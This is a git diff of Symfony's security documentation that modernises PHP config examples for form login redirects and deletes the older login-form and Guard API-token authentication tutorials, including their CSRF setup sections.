-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                secured_area:
-                    # ...
-                    form_login:
-                        # ...
-                        csrf_token_generator: security.csrf.token_manager
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="secured_area">
-                    <!-- ... -->
-                    <form-login csrf-token-generator="security.csrf.token_manager"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'secured_area' => [
-                    // ...
-                    'form_login' => [
-                        // ...
-                        'csrf_token_generator' => 'security.csrf.token_manager',
-                    ],
-                ],
-            ],
-        ]);
-
-.. _csrf-login-template:
-
-Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
-token and store it as a hidden field of the form. By default, the HTML field
-must be called ``_csrf_token`` and the string used to generate the value must
-be ``authenticate``:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-
-    {# ... #}
-    <form action="{{ path('login') }}" method="post">
-        {# ... the login fields #}
-
-        <input type="hidden" name="_csrf_token"
-            value="{{ csrf_token('authenticate') }}"
-        >
-
-        <button type="submit">login</button>
-    </form>
-
-After this, you have protected your login form against CSRF attacks.
-
-.. tip::
-
-    You can change the name of the field by setting ``csrf_parameter`` and change
-    the token ID by setting  ``csrf_token_id`` in your configuration:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/security.yaml
-            security:
-                # ...
-
-                firewalls:
-                    secured_area:
-                        # ...
-                        form_login:
-                            # ...
-                            csrf_parameter: _csrf_security_token
-                            csrf_token_id: a_private_string
-
-        .. code-block:: xml
-
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-                <config>
-                    <!-- ... -->
-
-                    <firewall name="secured_area">
-                        <!-- ... -->
-                        <form-login csrf-parameter="_csrf_security_token"
-                            csrf-token-id="a_private_string"
-                        />
-                    </firewall>
-                </config>
-            </srv:container>
-
-        .. code-block:: php
-
-            // config/packages/security.php
-            $container->loadFromExtension('security', [
-                // ...
-
-                'firewalls' => [
-                    'secured_area' => [
-                        // ...
-                        'form_login' => [
-                            // ...
-                            'csrf_parameter' => '_csrf_security_token',
-                            'csrf_token_id'  => 'a_private_string',
-                        ],
-                    ],
-                ],
-            ]);
+This article describes how to customize the responses (success or failure)
+of this authenticator.
 
 Redirecting after Success
 -------------------------
@@ -438,7 +48,7 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -459,20 +69,18 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'default_target_path' => 'after_login_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->defaultTargetPath('after_login_route_name')
+            ;
+        };
 
 Always Redirect to the default Page
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -497,7 +105,7 @@ previously requested URL and always redirect to the default page:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -519,20 +127,18 @@ previously requested URL and always redirect to the default page:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'always_use_default_target_path' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->alwaysUseDefaultTargetPath(true)
+            ;
+        };
 
 .. _control-the-redirect-url-from-inside-the-form:
 
@@ -587,7 +193,7 @@ parameter is included in the request, you may use the value of the
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -609,19 +215,18 @@ parameter is included in the request, you may use the value of the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'use_referer' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->useReferer(true)
+            ;
+        };
 
 .. note::
 
@@ -655,7 +260,7 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -677,19 +282,18 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'failure_path' => 'login_failure_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->failurePath('login_failure_route_name')
+            ;
+        };
 
 This option can also be set via the ``_failure_path`` request parameter:
 
@@ -732,7 +336,7 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -755,19 +359,19 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        'target_path_parameter' => 'go_to',
-                        'failure_path_parameter' => 'back_to',
-                    ],
-                ],
-            ],
-        ]);
+                    ->targetPathParameter('go_to')
+                    ->failurePathParameter('back_to')
+            ;
+        };
 
 Using the above configuration, the query string parameters and hidden form fields
 are now fully customized:
@@ -786,5 +390,3 @@ are now fully customized:
         <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
         <input type="submit" name="login"/>
     </form>
-
-.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
deleted file mode 100644
index c7ea359c459..00000000000
--- a/security/form_login_setup.rst
+++ /dev/null
@@ -1,518 +0,0 @@
-How to Build a Login Form
-=========================
-
-.. seealso::
-
-    If you're looking for the ``form_login`` firewall option, see
-    :doc:`/security/form_login`.
-
-Ready to create a login form? First, make sure you've followed the main
-:doc:`Security Guide </security>` to install security and create your ``User``
-class.
-
-Generating the Login Form
--------------------------
-
-Creating a powerful login form can be bootstrapped with the ``make:auth`` command from
-`MakerBundle`_. Depending on your setup, you may be asked different questions
-and your generated code may be slightly different:
-
-.. code-block:: terminal
-
-    $ php bin/console make:auth
-
-    What style of authentication do you want? [Empty authenticator]:
-     [0] Empty authenticator
-     [1] Login form authenticator
-    > 1
-
-    The class name of the authenticator to create (e.g. AppCustomAuthenticator):
-    > LoginFormAuthenticator
-
-    Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
-    > SecurityController
-
-    Do you want to generate a '/logout' URL? (yes/no) [yes]:
-    > yes
-
-     created: src/Security/LoginFormAuthenticator.php
-     updated: config/packages/security.yaml
-     created: src/Controller/SecurityController.php
-     created: templates/security/login.html.twig
-
-.. versionadded:: 1.8
-
-    Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8.
-
-This generates the following: 1) login/logout routes & controller, 2) a template that
-renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>`
-class that processes the login submit and 4) updates the main security config file.
-
-**Step 1.** The ``/login``/``/logout`` routes & controller::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    class SecurityController extends AbstractController
-    {
-        /**
-         * @Route("/login", name="app_login")
-         */
-        public function login(AuthenticationUtils $authenticationUtils): Response
-        {
-            // if ($this->getUser()) {
-            //     return $this->redirectToRoute('target_path');
-            // }
-
-            // get the login error if there is one
-            $error = $authenticationUtils->getLastAuthenticationError();
-            // last username entered by the user
-            $lastUsername = $authenticationUtils->getLastUsername();
-
-            return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
-        }
-
-        /**
-         * @Route("/logout", name="app_logout")
-         */
-        public function logout()
-        {
-            throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
-        }
-    }
-
-Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        path: app_logout
-                        # where to redirect after logout
-                        # target: app_any_route
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'logout' => [
-                        'path' => 'app_logout',
-                        // where to redirect after logout
-                        'target' => 'app_any_route'
-                    ],
-                ],
-            ],
-        ]);
-
-**Step 2.** The template has very little to do with security: it generates
-a traditional HTML form that submits to ``/login``:
-
-.. code-block:: html+twig
-
-    {% extends 'base.html.twig' %}
-
-    {% block title %}Log in!{% endblock %}
-
-    {% block body %}
-    <form method="post">
-        {% if error %}
-            <div class="alert alert-danger">{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-        {% endif %}
-
-        {% if app.user %}
-            <div class="mb-3">
-                You are logged in as {{ app.user.username }}, <a href="{{ path('app_logout') }}">Logout</a>
-            </div>
-        {% endif %}
-
-        <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
-        <label for="inputEmail">Email</label>
-        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" required autofocus>
-        <label for="inputPassword">Password</label>
-        <input type="password" name="password" id="inputPassword" class="form-control" required>
-
-        <input type="hidden" name="_csrf_token"
-               value="{{ csrf_token('authenticate') }}"
-        >
-
-        {#
-            Uncomment this section and add a remember_me option below your firewall to activate remember me functionality.
-            See https://symfony.com/doc/current/security/remember_me.html
-
-            <div class="checkbox mb-3">
-                <label>
-                    <input type="checkbox" name="_remember_me"> Remember me
-                </label>
-            </div>
-        #}
-
-        <button class="btn btn-lg btn-primary" type="submit">
-            Sign in
-        </button>
-    </form>
-    {% endblock %}
-
-**Step 3.** The Guard authenticator processes the form submit::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\RedirectResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\InvalidCsrfTokenException;
-    use Symfony\Component\Security\Core\Security;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Csrf\CsrfToken;
-    use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface
-    {
-        use TargetPathTrait;
-
-        public const LOGIN_ROUTE = 'app_login';
-
-        private $entityManager;
-        private $urlGenerator;
-        private $csrfTokenManager;
-        private $passwordEncoder;
-
-        public function __construct(EntityManagerInterface $entityManager, UrlGeneratorInterface $urlGenerator, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordEncoderInterface $passwordEncoder)
-        {
-            $this->entityManager = $entityManager;
-            $this->urlGenerator = $urlGenerator;
-            $this->csrfTokenManager = $csrfTokenManager;
-            $this->passwordEncoder = $passwordEncoder;
-        }
-
-        public function supports(Request $request)
-        {
-            return self::LOGIN_ROUTE === $request->attributes->get('_route')
-                && $request->isMethod('POST');
-        }
-
-        public function getCredentials(Request $request)
-        {
-            $credentials = [
-                'email' => $request->request->get('email'),
-                'password' => $request->request->get('password'),
-                'csrf_token' => $request->request->get('_csrf_token'),
-            ];
-            $request->getSession()->set(
-                Security::LAST_USERNAME,
-                $credentials['email']
-            );
-
-            return $credentials;
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider)
-        {
-            $token = new CsrfToken('authenticate', $credentials['csrf_token']);
-            if (!$this->csrfTokenManager->isTokenValid($token)) {
-                throw new InvalidCsrfTokenException();
-            }
-
-            $user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => $credentials['email']]);
-
-            if (!$user) {
-                // fail authentication with a custom error
-                throw new CustomUserMessageAuthenticationException('Email could not be found.');
-            }
-
-            return $user;
-        }
-
-        public function checkCredentials($credentials, UserInterface $user)
-        {
-            return $this->passwordEncoder->isPasswordValid($user, $credentials['password']);
-        }
-
-        /**
-         * Used to upgrade (rehash) the user's password automatically over time.
-         */
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-        {
-            if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) {
-                return new RedirectResponse($targetPath);
-            }
-
-            // For example : return new RedirectResponse($this->urlGenerator->generate('some_route'));
-            throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-        }
-
-        protected function getLoginUrl()
-        {
-            return $this->urlGenerator->generate(self::LOGIN_ROUTE);
-        }
-    }
-
-**Step 4.** Updates the main security config file to enable the Guard authenticator and configure logout route:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                    logout:
-                        path: app_logout
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <guard>
-                        <authenticator class="App\Security\LoginFormAuthenticator"/>
-                    </guard>
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\LoginFormAuthenticator;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // ...,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ]
-                    ],
-                    'logout' => [
-                        'path' => 'app_logout',
-                    ],
-                ],
-            ],
-        ]);
-
-Finishing the Login Form
-------------------------
-
-Woh. The ``make:auth`` command just did a *lot* of work for you. But, you're not done
-yet. First, go to ``/login`` to see the new login form. Feel free to customize this
-however you want.
-
-When you submit the form, the ``LoginFormAuthenticator`` will intercept the request,
-read the email (or whatever field you're using) & password from the form, find the
-``User`` object, validate the CSRF token and check the password.
-
-But, depending on your setup, you'll need to finish one or more TODOs before the
-whole process works. You will *at least* need to fill in *where* you want your user to
-be redirected after success:
-
-.. code-block:: diff
-
-    // src/Security/LoginFormAuthenticator.php
-
-    // ...
-    public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-    {
-        // ...
-
-    -     throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-    +     // redirect to some "app_homepage" route - of wherever you want
-    +     return new RedirectResponse($this->urlGenerator->generate('app_homepage'));
-    }
-
-Unless you have any other TODOs in that file, that's it! If you're loading users
-from the database, make sure you've loaded some :ref:`dummy users <doctrine-fixtures>`.
-Then, try to login.
-
-If you're successful, the web debug toolbar will tell you who you are and what roles
-you have:
-
-.. image:: /_images/security/symfony_loggedin_wdt.png
-   :align: center
-
-The Guard authentication system is powerful, and you can customize your authenticator
-class to do whatever you need. To learn more about what the individual methods do,
-see :doc:`/security/guard_authentication`.
-
-Controlling Error Messages
---------------------------
-
-You can cause authentication to fail with a custom message at any step by throwing
-a custom :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-But in some cases, like if you return ``false`` from ``checkCredentials()``, you
-may see an error that comes from the core of Symfony - like ``Invalid credentials.``.
-
-To customize this message, you could throw a ``CustomUserMessageAuthenticationException``
-instead. Or, you can :doc:`translate </translation>` the message through the ``security``
-domain:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/security.en.xlf -->
-        <?xml version="1.0"?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="Invalid credentials.">
-                        <source>Invalid credentials.</source>
-                        <target>The password you entered was invalid!</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        # translations/security.en.yaml
-        'Invalid credentials.': 'The password you entered was invalid!'
-
-    .. code-block:: php
-
-        // translations/security.en.php
-        return [
-            'Invalid credentials.' => 'The password you entered was invalid!',
-        ];
-
-If the message isn't translated, make sure you've installed the ``translator``
-and try clearing your cache:
-
-.. code-block:: terminal
-
-    $ php bin/console cache:clear
-
-Redirecting to the Last Accessed Page with ``TargetPathTrait``
---------------------------------------------------------------
-
-The last request URI is stored in a session variable named
-``_security.<your providerKey>.target_path`` (e.g. ``_security.main.target_path``
-if the name of your firewall is ``main``). Most of the times you don't have to
-deal with this low level session variable. However, the
-:class:`Symfony\\Component\\Security\\Http\\Util\\TargetPathTrait` utility
-can be used to read (like in the example above) or set this value manually.
-
-When the user tries to access a restricted page, they are being redirected to
-the login page. At that point target path will be set. After a successful login,
-the user will be redirected to this previously set target path.
-
-If you also want to apply this behavior to public pages, you can create an
-:doc:`event subscriber </event_dispatcher>` to set the target path manually
-whenever the user browses a page::
-
-    // src/EventSubscriber/RequestSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class RequestSubscriber implements EventSubscriberInterface
-    {
-        use TargetPathTrait;
-
-        private $session;
-
-        public function __construct(SessionInterface $session)
-        {
-            $this->session = $session;
-        }
-
-        public function onKernelRequest(RequestEvent $event): void
-        {
-            $request = $event->getRequest();
-            if (
-                !$event->isMasterRequest()
-                || $request->isXmlHttpRequest()
-                || 'app_login' === $request->attributes->get('_route')
-            ) {
-                return;
-            }
-
-            $this->saveTargetPath($this->session, 'main', $request->getUri());
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::REQUEST => ['onKernelRequest']
-            ];
-        }
-    }
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
deleted file mode 100644
index 99d86c6c781..00000000000
--- a/security/guard_authentication.rst
+++ /dev/null
@@ -1,582 +0,0 @@
-.. index::
-    single: Security; Custom Authentication
-
-Custom Authentication System with Guard (API Token Example)
-===========================================================
-
-Guard authentication can be used to:
-
-* :doc:`Build a Login Form </security/form_login_setup>`
-* Create an API token authentication system (see below)
-* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution)
-* Integrate with some proprietary single-sign-on system
-
-and many more. In this example, we'll build an API token authentication
-system, so we can learn more about Guard in detail.
-
-.. tip::
-
-    A :doc:`new experimental authenticator-based system </security/experimental_authenticators>`
-    was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0.
-
-Step 1) Prepare your User Class
--------------------------------
-
-Suppose you want to build an API where your clients will send an ``X-AUTH-TOKEN`` header
-on each request with their API token. Your job is to read this and find the associated
-user (if any).
-
-First, make sure you've followed the main :doc:`Security Guide </security>` to
-create your ``User`` class. Then add an ``apiToken`` property directly to
-your ``User`` class (the ``make:entity`` command is a good way to do this):
-
-.. code-block:: diff
-
-    // src/Entity/User.php
-    namespace App\Entity;
-
-    // ...
-
-    class User implements UserInterface
-    {
-        // ...
-
-    +     /**
-    +      * @ORM\Column(type="string", unique=true, nullable=true)
-    +      */
-    +     private $apiToken;
-
-        // the getter and setter methods
-    }
-
-Don't forget to generate and run the migration:
-
-.. code-block:: terminal
-
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
-
-Next, configure your "user provider" to use this new ``apiToken`` property:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                your_db_provider:
-                    entity:
-                        class: App\Entity\User
-                        property: apiToken
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="your_db_provider">
-                    <entity class="App\Entity\User" property="apiToken"/>
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'providers' => [
-                'your_db_provider' => [
-                    'entity' => [
-                        'class' => 'App\Entity\User',
-                        'property' => 'apiToken',
-                    ],
-                ],
-            ],
-
-            // ...
-        ]);
-
-Step 2) Create the Authenticator Class
---------------------------------------
-
-To create a custom authentication system, create a class and make it implement
-:class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`. Or, extend
-the simpler :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`.
-
-This requires you to implement several methods::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Guard\AbstractGuardAuthenticator;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        private $em;
-
-        public function __construct(EntityManagerInterface $em)
-        {
-            $this->em = $em;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request)
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        /**
-         * Called on every request. Return whatever credentials you want to
-         * be passed to getUser() as $credentials.
-         */
-        public function getCredentials(Request $request)
-        {
-            return $request->headers->get('X-AUTH-TOKEN');
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider)
-        {
-            if (null === $credentials) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                return null;
-            }
-
-            // The "username" in this case is the apiToken, see the key `property`
-            // of `your_db_provider` in `security.yaml`.
-            // If this returns a user, checkCredentials() is called next:
-            return $userProvider->loadUserByUsername($credentials);
-        }
-
-        public function checkCredentials($credentials, UserInterface $user)
-        {
-            // Check credentials - e.g. make sure the password is valid.
-            // In case of an API token, no credential check is needed.
-
-            // Return `true` to cause authentication success
-            return true;
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception)
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        /**
-         * Called when authentication is needed, but it's not sent
-         */
-        public function start(Request $request, AuthenticationException $authException = null)
-        {
-            $data = [
-                // you might translate this message
-                'message' => 'Authentication Required'
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-
-        public function supportsRememberMe()
-        {
-            return false;
-        }
-    }
-
-Nice work! Each method is explained below: :ref:`The Guard Authenticator Methods <guard-auth-methods>`.
-
-Step 3) Configure the Authenticator
------------------------------------
-
-To finish this, make sure your authenticator is registered as a service. If you're
-using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, configure your ``firewalls`` key in ``security.yaml`` to use this authenticator:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                # ...
-
-                main:
-                    anonymous: true
-                    lazy: true
-                    logout: ~
-
-                    guard:
-                        authenticators:
-                            - App\Security\TokenAuthenticator
-
-                    # if you want, disable storing the user in the session
-                    # stateless: true
-
-                    # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-            <config>
-                <!-- ... -->
-
-                <!-- if you want, disable storing the user in the session
-                    add 'stateless="true"' to the firewall -->
